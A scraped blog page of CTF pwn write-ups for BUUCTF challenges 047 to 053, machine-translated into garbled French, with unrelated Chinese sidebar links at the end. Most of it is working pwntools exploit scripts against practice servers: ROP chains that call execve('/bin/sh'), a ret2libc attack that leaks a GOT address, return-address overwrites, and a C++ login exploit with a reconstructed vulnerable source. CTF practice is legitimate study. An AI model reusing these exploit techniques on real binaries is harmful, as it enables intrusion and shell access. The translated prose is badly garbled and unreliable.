当前位置:网站首页>Buuctf PWN write UPS (6)
Buuctf PWN write UPS (6)
2022-06-27 00:54:00 【L3h Colin】
buu047-cmcc_simplerop
C'est exactement la même chose que la question précédente..
from pwn import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 26121)
int80 = 0x80493E1
popeax_ret = 0x80BAE06
popedx_ret = 0x806e82a
popecx_ebx_ret = 0x806E851
addesp0x14_ret = 0x807b36c
bss = 0x80EB060
read = 0x806CD50
payload = cyclic(0x14 + 12)
payload += p32(read) # call read()
payload += p32(addesp0x14_ret) # return address, add esp to execute latter ROP
payload += p32(0) # arg #1 of read(): stdin
payload += p32(bss) # arg #2 of read(): a bss address
payload += p32(0x8) # arg #3 of read(): read length
payload += p32(0) * 2
payload += p32(popeax_ret) # eax = 0x11(SYS_EXECVE)
payload += p32(11)
payload += p32(popecx_ebx_ret)
payload += p32(0) # ebx = '/bin/sh'
payload += p32(bss) # edx = 0
payload += p32(popedx_ret)
payload += p32(0) # ecx = 0
payload += p32(int80) # int 80
io.sendline(payload)
io.sendline(b'/bin/sh' + b'\x00')
io.interactive()
buu048-picoctf_2018_buffer overflow 2
from pwn import *
context.log_level='debug'
# io = process('pwn')
io = remote('node4.buuoj.cn', 27446)
io.sendline(cyclic(0x6C+4) + p32(0x80485CB) + p32(0) + p32(0xdeadbeef) + p32(0xdeadc0de))
io.interactive()
buu049-xdctf2015_pwn200
from pwn import *
from LibcSearcher import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 25724)
elf = ELF('./pwn')
payload = cyclic(0x6C + 4)
payload += p32(elf.plt['write'])
payload += p32(elf.symbols['vuln'])
payload += p32(1)
payload += p32(elf.got['write'])
payload += p32(4)
io.sendlineafter(b'Welcome to XDCTF2015~!\n', payload)
write = u32(io.recv(4))
print(hex(write))
libc = LibcSearcher('write', write)
base = write - libc.dump('write')
sys = libc.dump('system') + base
binsh = libc.dump('str_bin_sh') + base
payload = cyclic(0x6C + 4)
payload += p32(sys)
payload += p32(0)
payload += p32(binsh)
io.sendline(payload)
io.interactive()
buu050-bbys_tu_2016
from pwn import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 27499)
io.sendline(cyclic(0xC + 12) + p32(0x804856D))
io.interactive()
buu051-mrctf2020_easyoverflow
Perdre après l'avoir connecté 48 Octets invalides +‘[email protected][email protected]’
buu052-wustctf2020_getshell_2
Cette question ne peut déborder que sur l'adresse de retour +4Où les octets, Modifier directement l'adresse de retour à system Les arguments de la fonction ne peuvent pas être écrits ,Et donc utilisershell La fonction retourne à l'instruction ’call _system’Où?, Les paramètres de la fonction peuvent être écrits plus tard ’sh’(Interception/bbbbbbbbin_what_the_f?ck__–??/sh Les deux derniers octets de )C'est.
from pwn import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 29467)
elf = ELF('./pwn')
io.sendline(cyclic(24+4) + p32(0x8048529) + p32(0x8048670))
io.interactive()
buu053-[ZJCTF 2019]Login
Le premier.C++ pwnQuestions. C'est aussi la première fois que je fais un travail sérieux C++ pwnTitre.
D'abord, bien sûr. , On a besoin d'être inversés C++Procédure.C++- Oui.CUn superensemble de,Il y en a beaucoup.C Ce qui n'est pas là . Le plus important est la reconnaissance des classes et des objets .
Dans cette question, La Table des symboles du programme ne semble pas avoir été supprimée ,Nous pouvons voirIDA Les différents noms de fonctions et de classes analysés pour nous .
Il est facile de découvrir que deux classes sont définies dans le programme :UserEtAdmin, Et il semble qu'il y en ait trois mainDéfini danslambdaFonctions.
Impossible de voir dans le programme User Structure spécifique de la classe , Nous devons donc créer manuellement UserStructure similaire,InIDADeStructures Défini dans la fenêtre :Ins Raccourcis clavier pour créer une structure ,DelSupprimer la structure,D/A/* Créer un membre de structure (FréquentD),N Modifier le nom du membre ,USupprimer les membres.Comme le montre la figure ci - dessous::( Pour plus de détails sur les raisons de cette définition, voir l'analyse ci - dessous )
AdoptionUser Le constructeur de la classe a trouvé ,Le constructeurUser,User+8,User+0x58 Affectation effectuée à , Les deux derniers sont utilisés ici strncpyAffectation des fonctions, Donc le jugement est une chaîne . La première déclaration indique une telle structure , Il y a deux pointeurs de fonction ,Le jugement estUser Table de fonctions virtuelles pour la classe ,Parce queC++ Les tables de fonctions virtuelles d'une classe sont généralement placées au début de la classe .Je vois.User Deux fonctions virtuelles sont définies dans la classe get_passwordEtshell.Utiliser des raccourcis clavierY Le type de paramètre peut être modifié , Après modification au type approprié , Il n'y aurait pas beaucoup de transformations forcées dans le Code démonté , Ça a l'air beaucoup plus confortable .
Encore.UserClasseget_password La méthode permet de déterminer que les deux dernières tailles sont 0x50 Qui est exactement le nom d'utilisateur et le mot de passe dans la chaîne de .Utiliser des raccourcis clavierN Vous pouvez modifier le nom d'un paramètre ou d'une variable ,Après modificationUser Le constructeur de classe est montré ci - dessous :
En plus,Inmain Trouvé dans la fonction loginVariables,Il appartient àUserCatégorie,Et àbssParagraphe,Le jugement estUser Classe objet variable global .On vabss Ce type de modification d'objet dans le segment a trouvé que la taille correspond exactement à , Décrivez ce que nous avons défini précédemment User La structure de la classe est correcte .

Regarde encore.AdminConstructeur de classe,Il a trouvé son appelUserConstructeur de classe,Alors, jugeAdminLa classe estUserUne sous - classe de la classe.
DeAdmin Le tableau des fonctions virtuelles de classe contient User Les fonctions de classe peuvent également décrire AdminLa classe estUserSous - classe,EtAdminLa classe a dépasséUserClasseshellMéthodes,Ouvrir la découverteUserClasseshellÇa n'a pas marché,EtAdminClasseshell La méthode est d'exécuter directement ’/bin/sh’, C'est une porte de derrière .Etget_password La classe n'a pas dépassé ,InUser La classe n'est utilisée que virtual C'est juste une déclaration .
Maintenant, Nous avons mis en place les principales classes du programme 、 Analyse de l'objet terminée ,main On peut lire la première moitié de la fonction .
InmainEn fonction,Instancié unAdminObjet,Le nom d'utilisateur estadmin,Le mot de passe est2jctf_pa5sw0rd. Puis accepter les paramètres d'entrée de l'utilisateur global User Nom d'utilisateur et mot de passe de l'objet de classe .
Et puismainLa fonction utiliselambda La fonction a fait quelque chose ,Nous entrons danspassword_checker Une fonction de .
Cette fonction compare les entrées de mot de passe , Si le mot de passe est entré correctement execFonction pointée par le pointeur de fonction.
Selon la Déclaration de cette fonction ,Conjecturepassword_checker Ça devrait être une structure , Il contient les lambdaFonctions( Notez que cette fonction devrait être définie à password_checkerDans la structurelambdaFonctions,Attention!password_checkerAveclambda Entre les fonctions, il y a ::Connexion)
Inpassword_checker Trouvé dans la fonction checker Opération d'affectation de la structure ,password_checker Un seul pointeur de fonction existe .
Donc ce code a été conçu pour :Vérifiez que le mot de passe est entré correctement, Si c'est correct, exécutez greeting_funcFonctions:
Mais les opérations sur le terrain ont révélé ,Inlambda Une erreur de segment se produit dans la fonction ,C'est faux.execSur le pointeur de fonction. La valeur du pointeur original devrait être 0x400A90, Mais l'exécution ici a été changée en 0x400090.
Suivi des résultats du débogage ,- Oui.strip_newline La fonction reconnaît automatiquement les sauts de ligne (ASCIICode:0xA), Et l'adresse a été modifiée par erreur , Est devenu une valeur invalide .
Ça nous donne un indice :strip_newlineOui.lambdaAppelé dans la fonction, Mais peut être modifié execL'adresse de la fonction, Il n'est pas difficile de trouver ,execEst un pointeur,AdoptionmainAppel de fonctionpassword_checkerAcquisition de fonctions,Mais c'estpassword_checkerVariables locales pour, Son adresse doit être main À l'adresse basse du cadre de pile de fonctions (main La fonction n'a pas de cadre de pile , Ici, les cadres de pile analogiques à d'autres fonctions sont faciles à comprendre ),C'est - à - diremainQuand la fonction s'exécuteespÀ l'adresse basse de, .L'adresse ici est naturellement susceptible d'être affectée lorsque d'autres fonctions sont appelées .On peut voir que, Si nous modifions la valeur de l'adresse ici à AdminClasseshellAdresse de la fonction,Pour obtenirshellC'est.
Donc,, Le point de fuite de ce problème est de retourner la valeur de la variable locale , C'est une erreur logique . La valeur de retour de la fonction enfant à la fonction parent ne doit pas être la valeur de la variable locale de la fonction enfant . La vulnérabilité elle - même n'est pas difficile , Mais pour l'inverse C++ C'était un bon entraînement et un bon apprentissage .
exp:
from pwn import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 26270)
io.sendline(b'admin')
io.sendline(b'2jctf_pa5sw0rd\x00\x00' + p64(0x400E88) * 8)
io.interactive()
Essayez d'utiliserCLion Restaurer le code source du programme :(C++Les bases ne sont pas solides,Essayez de restaurer)
#include <iostream>
#include <cstring>
using namespace std;
void strip_newline(char* buf, int64_t length){
char* i;
for(i = &buf[length]; i >= buf; i--){
if ( *i == '\n' )
*i = '\0';
}
}
class User{
private:
char username[0x50]{
};
char password[0x50]{
};
public:
User(){
}
User(const char* username, const char* password){
strncpy(this->username, username, 0x50);
strncpy(this->password, password, 0x50);
}
void read_name(){
char name[80];
fgets(name, 79, stdin);
strip_newline(name, 80);
strncpy(this->username, name, 0x50);
}
void read_password(){
char pwd[80];
fgets(pwd, 79, stdin);
strip_newline(pwd, 80);
strncpy(this->password, pwd, 0x50);
}
public:
virtual char* get_password(){
return this->password;
}
virtual void shell(){
puts("No shell for you!");
}
};
class Admin : User{
public:
Admin(const char* username, const char* password) : User(username, password){
}
void shell() override{
puts("Congratulations!");
system("/bin/sh");
}
char* get_password() override{
return User::get_password();
}
};
typedef struct checker{
void (*check)();
int64_t null[2];
}checker;
checker* password_checker(void (*check)()){
checker checker;
checker.check = check;
return &checker;
}
User login;
int main() {
char admin_password[88];
cout << "Hello, World!" << endl;
setbuf(stdout, 0);
strcpy(admin_password, "2jctf_pa5sw0rd");
memset(&admin_password[15], 0, 65);
Admin admin((const char*)"admin", admin_password);
puts(
" _____ _ ____ _____ _____ _ _ \n"
"|__ / | |/ ___|_ _| ___| | | ___ __ _(_)_ __ \n"
" / /_ | | | | | | |_ | | / _ \\ / _` | | '_ \\ \n"
" / /| |_| | |___ | | | _| | |__| (_) | (_| | | | | |\n"
"/____\\___/ \\____| |_| |_| |_____\\___/ \\__, |_|_| |_|\n"
" |___/ ");
printf("Please enter username: ");
login.read_name();
printf("Please enter password: ");
auto greeting_func = []()->void{
puts("<===Welcome to ZJCTF!!!===>");
return login.shell();
};
checker* exec = password_checker(greeting_func);
login.read_password();
char* admin_pwd = admin.get_password();
char* user_pwd = login.get_password();
[](checker* exec, char* admin_pwd, char* user_pwd)->void{
char s[88];
if(!strcmp(admin_pwd, user_pwd)){
snprintf(s, 0x50uLL, "Password accepted: %s\n", s);
puts(s);
exec->check();
}else{
puts("Nope!");
}
}(exec, admin_pwd, user_pwd);
return 0;
}
边栏推荐
- 数据库面试题+sql语句解析
- 直播回顾 | 子芽&CCF TF:云原生场景下软件供应链风险治理技术浅谈
- 05 | standard design (Part 2): how to standardize the different styles of commit information, which are difficult to read?
- Is there anyone who doesn't know the three cores of concurrent programming?
- 【Mysql】时间字段默认设置为当前时间
- CH423要如何使用,便宜的国产IO扩展芯片
- 1+1<2 ?! Interpretation of hesic papers
- 数字格式化的 js 库
- Simulation of delta variant strain of novel coronavirus (mindsponge application)
- Kubernetes visual interface dashboard
猜你喜欢

Competition Registration | one of the key ai+ scientific computing competitions - China open source scientific software creativity competition, competing for 100000 bonus!

CEC-I 中华学习机使用说明与问答

Com. Faster XML. Jackson. DataBind. Exc.mismatchedinputexception: tableau ou chaîne attendu. At [Source: X

LeetCode 142. Circular linked list II

com. fasterxml. jackson. databind. exc.MismatchedInputException: Expected array or string. at [Source:x

In depth understanding of UDP in the transport layer and the use of UDP in sockets

com.fasterxml.jackson.databind.exc.MismatchedInputException: Expected array or string. at [Source:x

Super hard core! Can the family photo album on Huawei's smart screen be classified automatically and accurately?

kubeadm创建kubernetes集群

Solve the problem that stc8g1k08 program cannot run and port configuration
随机推荐
ESP32实验-自建web服务器配网02
LeetCode 142. 环形链表 II
[vscade] preview MD file
redis详细教程
Simple and fast digital network (network dolls in the network)
Mindspire, a domestic framework, cooperates with Shanshui nature conservation center to find and protect the treasure life in the "China water tower"
Overview of Freescale MCU
目前哪个证券公司炒股开户是最好最安全的?
网上开通证券账户安全吗 手机炒股靠谱吗
Xiaobai looks at MySQL -- installing MySQL in Windows Environment
3-wire SPI screen driving mode
Flink practical problems (VII): no watermark (watermarks are only available eventtime is used)
JSON解析,ESP32轻松获取时间气温和天气
What is the difference between the working principle of gas-liquid slip ring and other slip rings
05 | standard design (Part 2): how to standardize the different styles of commit information, which are difficult to read?
根据文件名批量生成文件夹
JSON parsing, esp32 easy access to time, temperature and weather
In depth understanding of UDP in the transport layer and the use of UDP in sockets
“message“:“Bad capabilities. Specify either app or appTopLevelWindow to create a session“
光谱共焦如何测量玻璃基板厚度